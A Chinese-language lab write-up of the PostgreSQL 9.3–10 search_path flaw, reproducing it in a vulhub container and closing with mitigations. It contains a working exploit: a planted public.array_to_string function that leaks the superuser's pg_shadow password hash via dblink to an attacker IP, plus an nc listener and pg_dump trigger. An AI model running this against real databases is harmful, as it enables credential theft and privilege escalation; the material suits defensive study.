PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。
影响版本
9.3到10
PostgreSQL7.3版本之后,默认情况下,当一个用户创建一个数据库时,PostgreSQL会创建一个叫做public的模式。默认情况下,所有的对象都会被创建到这个模式下。所以SELECT * FROM a; 就等价于 SELECT * FROM public.a;
如果不更改配置信息,任何用户都可以在public模式下创建对象。名字相同的对象可以在相同数据库的不同模式下存在。如果出现这种情况,而且没有指定特定的模式和对象(例如schema.object),那么PostgreSQL会基于search_path的设置来决定那个对象会被使用。
在该情况下,一个恶意用户可能会植入一个函数,它的功能是当被超级用户执行时,将更大的权限赋给这个恶意用户
前提:需要获取PostgreSQL数据库账号密码,可通过配置文件获取
利用kali连接对方服务器
执行如下语句后退出(向192.168.239.139的6666端口传送密码)
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=192.168.239.139 port=6666 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
kali监听6666,等待超级用户触发我们留下的这个“后门”。
nc -lvvp 6666
装自己是超级用户,docker中,用超级用户的身份执行pg_dump命令,导出vulhub这个数据库的内容。
docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub
执行上述命令的同时,“后门”已被触发
kali中查看
收到了postgres用户经md5加密后的密码,解密即可
1、不允许用户在public模式下创建新的对象。 可以用超级用户,在所有的数据库中运行下面这条命令:
REVOKE CREATE ON SCHEMA public FROM PUBLIC; 1 这会阻止所有的非超级用户在public模式下创建对象。
2、为数据库用户设置默认的search_path。
一个超级用户可以向系统中的每个用户发出这条命令,来将public模式从用户默认的search_path中移除:
ALTER ROLE username SET search_path = "$user"; 1 3、在PostgreSQL的配置文件中设置默认的search_path。
也可以在postgresql.conf这个配置文件中将public模式从用户默认的search_path中移除。